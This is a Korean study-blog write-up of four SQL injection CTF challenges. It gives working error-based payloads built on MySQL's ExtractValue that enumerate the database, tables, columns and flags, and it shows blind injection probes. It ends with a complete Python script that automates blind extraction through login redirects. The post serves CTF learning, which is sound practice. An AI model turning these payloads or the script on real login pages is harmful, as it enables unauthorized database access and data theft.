1. SQL Injection 3
평범한 로그인 페이지로 보인다. 먼저, User ID와 Password 필드에 `normaltic`, `1234`를 입력해 로그인이 성공적으로 되는 것을 확인해보겠다.
정상적으로 로그인이 이뤄진다. 실패했을 경우의 상황을 살펴보겠다.
ID: normaltic
PW: hmm
일치하지 않는 정보라고 뜬다. 그럼 이제, SQLi가 가능한지 테스트해보겠다.
ID: normaltic'
PW: 1234
SQL 쿼리에 대한 에러 메시지가 페이지에 출력된다.
에러 메시지가 출력되는 것을 확인했으니, Error-based SQLi로 방향을 잡아보겠다.
Error-based SQLi
에러 메시지를 읽다보면 해당 DBMS는 MySQL인 것을 알 수 있다. MySQL에서 Error-based SQLi를 수행할 때 사용되는 `ExtractValue()` 함수를 사용하도록 하겠다.
Template
SQLi를 함에 있어서 복잡한 쿼리를 작성하게 될 것이다. 실수를 미연에 방지하기 위해 템플릿을 미리 만들어두도록 하겠다.
ID: normaltic' AND ExtractValue('1', CONCAT('.', (____))) #
PW: 1234
앞으로 (____)의 밑줄 자리에 얻고자 하는 문자열이 나오도록 SQL 쿼리를 짤 것이다. 작동이 되는지 확인해보기 위해 다음의 쿼리를 넣어보겠다.
SELECT 'hi'
↓
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT 'hi'))) #
원하는대로 `'hi'`가 출력됐다.
이렇게 템플릿은 완성이 됐다.
Database Name
이제부터 UNION SQLi를 하듯이 진행하면 된다.
데이터베이스의 이름을 가져오고 싶다면 템플릿에 다음의 내용을 넣기만 하면 된다.
SELECT Database()
↓
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT Database()))) #
DB의 이름이 `sqli_2`인 것을 알아냈다.
Table Name
테이블은 여러개일 수 있다. 따라서 LIMIT을 활용하여 하나의 행만 나올 수 있도록 조절해줘야 한다.
SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2' LIMIT 0,1
↓
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2' LIMIT 0,1))) #
다른 테이블을 더 찾아보면 `member`라는 테이블이 존재하는 것을 확인할 수 있다.
Column Name
`member`라는 테이블은 Flag와 별로 관련이 없어보이니, `flag_table`의 칼럼을 찾아보겠다.
SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0,1
↓
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0,1))) #
더 찾아보면 `flag` 칼럼 하나만이라는 것을 알 수 있다.
칼럼의 이름도 알아냈으니 이제 Flag만 알아내면 된다.
Flag
SELECT flag FROM flag_table LIMIT 0,1
↓
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT flag FROM flag_table LIMIT 0,1))) #
첫번째 행에서 바로 Flag가 나와버렸으니 다른 행은 더 조사하지 않겠다.
2. SQL Injection 4
바로 전 문제와 똑같이 생긴 페이지다.
로그인 테스트, SQLi 테스트를 해보면 전 문제와 똑같이 SQLi가 가능하다는 것을 알 수 있다.
ID: normaltic'
PW: 1234
아까처럼 에러를 일으켰을 때, 똑같이 에러 메시지를 출력하는 것을 알 수 있다.
Error-based SQLi
이전 문제에 사용한 템플릿을 다시 사용해 시도해보겠다.
SELECT 'normaltic'
↓
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT 'normaltic'))) #
아까 사용했던 템플릿이 여전히 사용 가능하다.
그럼 SQLi를 이전 문제와 똑같은 방식으로 진행해보겠다.
Database Name
SELECT Database()
↓
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT Database()))) #
`sqli_2_1`, DB의 이름이 약간 다르다.
Table Name
SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2_1' LIMIT 0,1
↓
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2_1' LIMIT 0,1))) #
더 찾아보면, `member`라는 테이블이 하나 더 있다.
`member` 테이블은 일단 무시하고 진행하겠다.
Column Name
SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0,1
↓
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0,1))) #
`flag1`? 여러 개의 칼럼인가? 더 찾아보겠다.
불길하다.. 찾아도 찾아도 끝이 나질 않는다.
칼럼의 개수를 파악해보겠다.
SELECT COUNT(*) FROM information_schema.columns WHERE table_name='flag_table'
↓
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='flag_table'))) #
8개나 있다.
아마 이름이 전부 `flag1`, `flag2`, `flag3`, ... , `flag8` 이런 식으로 진행될 것으로 보인다.
Flag
저 칼럼을 전부 조사하는 건 귀찮을 것 같다.
따라서 한 번에 모든 칼럼을 볼 수 있게 `CONCAT_WS()`라는 함수를 사용할 것이다.
이 함수를 사용하면 여러 문자열을 구분자를 통해 구별하여 하나의 문자열로 묶을 수 있다.
SELECT CONCAT_WS(', ', flag1,flag2,flag3,flag4,flag5,flag6,flag7,flag8) FROM flag_table LIMIT 0,1
↓
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT CONCAT_WS(', ', flag1,flag2,flag3,flag4,flag5,flag6,flag7,flag8) FROM flag_table LIMIT 0,1))) #
오히려 구분자를 넣으니 알아보기 힘든 Flag가 됐다. 심지어 Flag가 너무 길어서 잘렸다.
`flag1` ~ `flag4`, `flag5` ~ `flag8`을 따로따로 출력한 뒤에 이어붙여보겠다.
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT CONCAT(flag1,flag2,flag3,flag4) FROM flag_table LIMIT 0,1))) #
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT CONCAT(flag5,flag6,flag7,flag8) FROM flag_table LIMIT 0,1))) #
3. SQL Injection 5
불안하게 웃고 있다.
페이지는 전과 동일하다.
SQL 쿼리에 오류를 일으켰을 때 에러메시지가 출력되는 것까지도 전과 동일하다.
에러메시지가 출력된다는 점을 근거로 Error-based SQLi를 진행해보겠다.
Error-based SQLi
이전 템플릿을 다시 사용해보겠다.
normaltic' AND ExtractValue('1', CONCAT('.', (____))) #
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT 'normaltic'))) #
Error-based SQLi가 먹히는 듯하다.
Database Name
SELECT Database()
↓
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT Database()))) #
DB의 이름은 `sqli_2_2`다.
Table Name
SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2_2' LIMIT 0,1
↓
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2_2' LIMIT 0,1))) #
테이블을 더 찾아보면, 이번에도 `member`라는 테이블만이 더 존재한다.
이번에도 무시하겠다.
Column Name
SELECT column_name FROM information_schema.columns WHERE table_name='flagTable_this' LIMIT 0,1
↓
normaltic' AND ExtractValue('1', CONCAT('.', (SELECT column_name FROM information_schema.columns WHERE table_name='flagTable_this' LIMIT 0,1))) #
`idx`라는 칼럼이 발견됐다. 이름으로 추정컨대, A.I(Auto Increment)가 적용된 단순 인덱스일 것 같다.
더 찾아보면, `flag`라는 칼럼이 존재한다.
일단 `idx` 칼럼은 무시하겠다.
Flag
SELECT flag FROM flagTable_this LIMIT 0,1
↓
normaltic' AND ExtractValue('1', CONCAT(':', (SELECT flag FROM flagTable_this LIMIT 0,1))) #
?
플래그가 나에게 말을 걸어온다.
`LIMIT`의 인덱스를 1씩 높여가며 다음 행을 계속해서 얻어와 보겠다.
- hello
- What are you looking for?
- hahahahaha
- Funnnyyyyyyy
- hahahahaha
- Funnnyyyyyyy
- gogogo
- moremoremoremore
- I will Not Give you flag
- Get Away
- kkkkkkk
- -_-
- breeeeeg
- segfault{모자이크}
- kakakakakaka
- I gave you flag
- go home
안 준다면서 결국 주는 츤데레다.
4. SQL Injection 6
페이지 자체는 4개의 문제 전부 똑같이 생겼다.
하지만 이번 문제는 약간 다르다. SQLi가 가능하다는 점은 전 문제들과 다름이 없지만,
ID: normaltic'
PW: 1234
SQL의 문법 오류에 대해 에러 메시지를 출력해주지 않는다.
SQLi는 가능하지만 어떠한 정보도 출력해주지 않는 상황에서는 Blind SQL Injection을 사용하면 된다.
Blind SQLi
ID: normaltic' and 1=1 #
PW: 1234
이 입력은 정상적인 로그인과 같은 결과를 도출한다.
그 때, 서버는 클라이언트를 다른 페이지로 리다이렉션시킨다.
ID: normaltic' and 1=2 #
PW: 1234
로그인 실패에 대해서는 클라이언트를 리다이렉션시키지 않는다.
그저 정보 불일치라는 경고를 띄운다.
이는 Burp Suite를 통해 확실히 알 수도 있다.
이는 로그인 성공 과정이다. Status Code가 `302`인 것을 볼 수 있다.
이번엔 로그인이 실패했을 때 주고받는 패킷이다. Status Code가 `200`인 것을 볼 수 있다.
성공 / 실패를 판가름할 기준을 알았으니 이제 Blind SQLi를 해볼 차례다.
수작업
normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>79 #
앞으로 비밀번호는 `1234`로 고정해서 보내야한다. 로그인의 성공 여부가 글자를 알아내는 데의 기준이 되기 때문이다.
통상적으로 사용되는 문자들은 10진수 아스키 코드로 32(공백 문자)부터 126(~)까지이다. 아스키 코드 테이블은 여기를 참고하자.
32와 126의 중간값인 79를 기준으로 DB명의 첫글자의 아스키값이 몇일지 가늠해보겠다.
만약 로그인이 된다면 첫글자는 80(P)부터 126(~) 사이의 문자들 중 하나일 것이다.
로그인이 성공적으로 됐다.
이것은 첫글자가 P와 ~사이에 존재한다는 것이다.
이번엔 80과 126의 중간값인 103을 기준으로 해보겠다.
normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>103 #
또다시 로그인에 성공했다.
이건 첫글자가 104(h)와 126(~) 사이에 존재한다는 것을 의미한다. 다음은 104와 126의 중간값인 115으로 해보겠다.
normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>115 #
로그인에 실패했다.
즉, 104(h)와 115(s) 사이에 존재한다는 것이다. 다음은 이 둘의 중간값 109로 해본다.
normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>109 #
로그인에 성공했다.
110(n)과 115(s) 사이에 존재한다. 다시 중간값 112로 시도해보겠다.
normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>112 #
로그인에 성공했다.
113(q)와 115(s) 사이에 존재한다. 또다시 중간값 114로 시도해보겠다.
normaltic' and (SELECT ASCII(SUBSTR(Database(),1,1)))>114 #
로그인에 성공했다.
DB이름의 첫글자는 114(r)보다 크고, 115(s)보다 작거나 같다.
즉, 115(s)라는 것이다.
이렇게 글자 하나를 얻어낼 수 있다.
...
수작업 노가다는 저번 글에서 했던 걸로 만족한다.
자동화
이제부터는 일을 컴퓨터에게 떠넘기겠다.
직접 만든 툴을 이용해 전부 얻어오면..
툴에 대한 설명은 추후에 따로 글을 작성하는 걸로 하고, 코드만 적어두도록 하겠다..
import requests
import math
url = "~~~/sqli_3/login.php"
pw = '1234'
def finder(key, lb, ub, pos):
mid = math.floor((lb + ub) / 2)
# print(f"Trying between {lb} and {ub}... mid: {mid}")
id = f"normaltic' and (select ascii(substr(({key}),{pos},1))) >= {mid} #"
datas = {
'UserId': id,
'Password': pw,
'Submit': 'Login'
}
response = requests.post(url, data=datas, allow_redirects=False)
if(response.status_code == 302):
# print("T")
if(lb == mid):
s_id = f"normaltic' and (select ascii(substr(({key}),{pos},1))) = {mid} #"
s_datas = {
'UserId': s_id,
'Password': pw,
'Submit': 'Login'
}
s_response = requests.post(url, data=s_datas, allow_redirects=False)
if(s_response.status_code == 302):
return chr(mid)
else:
return chr(mid + 1)
return finder(key, mid, ub, pos)
else:
# print("F")
return finder(key, lb, mid, pos)
def blindSQLi(key):
result = ""
checker = 0
pos = 1
while(True):
id = f"normaltic' and (select ascii(substr(({key}),{pos},1))) > {checker} #"
# print(f"Trying {id}...", end=' ')
# print(result)
datas = {
'UserId': id,
'Password': pw,
'Submit': 'Login'
}
response = requests.post(url, data=datas, allow_redirects=False)
if(response.status_code == 302):
# print("T")
if(checker == 0):
checker = 126
elif(checker == 126):
result += '[?]'
pos += 1
checker = 0
elif(checker == 96):
result += finder(key, 97, 126, pos)
pos += 1
checker = 0
elif(checker == 64):
result += finder(key, 65, 96, pos)
pos += 1
checker = 0
elif(checker == 47):
result += finder(key, 48, 64, pos)
pos += 1
checker = 0
elif(checker == 31):
result += finder(key, 32, 47, pos)
pos += 1
checker = 0
else:
# print("F")
if(checker == 0):
break
elif(checker == 126):
checker = 96
elif(checker == 96):
checker = 64
elif(checker == 64):
checker = 47
elif(checker == 47):
checker = 31
elif(checker == 31):
result += '[?]'
pos += 1
checker = 0
return result
def listBlindSQLi(key):
idx = 0
result_list = list()
while(True):
query = key + f" limit {idx},1"
result = blindSQLi(query)
if(result == ''):
break
else:
result_list.append(result)
idx += 1
return result_list
db_name = blindSQLi('database()')
table_query = f"select table_name from information_schema.tables where table_schema='{db_name}' "
table_list = listBlindSQLi(table_query)
column_query = f"select column_name from information_schema.columns where table_name='{table_list[0]}'"
column_list = listBlindSQLi(column_query)
data_query = f"select {column_list[0]} from {table_list[0]}"
data_list = listBlindSQLi(data_query)
print("===============")
print(db_name)
print("===============")
print(table_list)
print("===============")
print(column_list,end='')
print(f" in table: {table_list[0]}")
print("===============")
print(data_list)
'Study > with normaltic' 카테고리의 다른 글
Segfault CTF - 11주차 (0) | 2025.06.25 |
---|---|
XSS - Cross Site Scripting (0) | 2025.06.22 |
Blind SQL Injection (0) | 2025.05.25 |
Error-based SQL Injection (0) | 2025.05.25 |
SegFault CTF - 6주차 (0) | 2025.05.14 |